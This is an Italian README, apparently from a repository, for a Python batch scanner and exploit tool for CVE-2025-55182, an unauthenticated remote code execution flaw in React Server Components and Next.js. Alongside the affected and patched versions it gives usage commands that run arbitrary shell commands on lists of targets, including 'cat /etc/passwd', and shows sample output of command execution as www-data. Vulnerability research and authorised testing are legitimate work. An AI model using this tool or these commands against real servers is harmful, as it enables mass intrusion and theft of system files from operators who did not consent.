
Scanner automatico per CVE-2025-55182: una vulnerabilità RCE critica in React Server Components e Next.js.
Scanner di rilevamento e verifica in modalità batch per la vulnerabilità di esecuzione remota di codice CVE-2025-55182 (React2Shell).
⚠️ Vulnerabilità critica con CVSS 10.0 | Colpisce React Server Components e le versioni Next.js 15.x/16.x | Solo per test di sicurezza autorizzati
CVE-2025-55182 (nota anche come "React2Shell") è una vulnerabilità di esecuzione remota di codice (RCE) non autenticata con livello di gravità massimo CVSS 10.0.
La vulnerabilità deriva da un problema di deserializzazione non sicura nel pacchetto react-server di React Server Components (RSC) durante la gestione del protocollo RSC "Flight". Un attaccante può eseguire codice arbitrario sul server vulnerabile inviando richieste HTTP appositamente predisposte.
Poiché Next.js utilizza il protocollo RSC "Flight", anche le applicazioni configurate di default create con create-next-app possono essere sfruttate senza che lo sviluppatore debba scrivere alcun codice aggiuntivo. Dal 5 dicembre 2025, è stato rilevato uno sfruttamento attivo di questa vulnerabilità.
Versioni interessate di React Server Components:
| Nome pacchetto | Versioni interessate |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Versioni Next.js interessate (con App Router):
Altri framework/strumenti RSC potenzialmente interessati:
⚠️ Nota importante: non esistono misure di mitigazione temporanee note per questa vulnerabilità; l'aggiornamento a una versione sicura è l'unica soluzione.
Versioni consigliate per l'aggiornamento:
È possibile utilizzare il pacchetto npm ufficiale fix-react2shell-next per facilitare l'aggiornamento delle applicazioni Next.js interessate.
pip install requests
# Scansione in batch (legge i target da urls.txt)
python CVE-2025-55182.py -f urls.txt
# Test su target singolo
python CVE-2025-55182.py -u http://192.168.1.100:3000
# Esegue il comando whoami
python CVE-2025-55182.py -f urls.txt -c "whoami"
# Esegue il comando hostname
python CVE-2025-55182.py -u http://target.com -c "hostname"
# Legge un file
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# Specifica numero di thread e timeout
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# File di output personalizzato
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# Modalità silenziosa (mostra solo gli URL vulnerabili)
python CVE-2025-55182.py -f urls.txt -q
Un URL per riga, ad esempio:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURAZIONE ]
============================================================
> Target: 10
> Thread: 20
> Comando: id
============================================================
[ SCANSIONE ]
============================================================
[14:30:25] [VULNERABILE] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SICURO] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
I risultati della scansione vengono salvati in formato CSV, con i seguenti campi:
url - URL del targetstatus - Codice di stato HTTPvulnerable - Indica se la vulnerabilità è presenteoutput - Output dell'esecuzione del comandoerror - Messaggio di erroreQuesto strumento è destinato esclusivamente a test di sicurezza autorizzati. Non utilizzarlo per scopi illegali. L'utente si assume ogni responsabilità correlata.
| Versione principale | Intervallo di versioni interessate | Versione corretta |
|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
| Parametro | Descrizione | Valore predefinito |
|---|
-f, --file | File con elenco di URL | urls.txt |
-u, --url | URL target singolo | - |
-t, --threads | Numero di thread concorrenti | 20 |
--timeout | Timeout della richiesta (secondi) | 10 |
-o, --output | File CSV di output | results.csv |
-c, --command | Comando da eseguire | id |
-q, --quiet | Modalità silenziosa | false |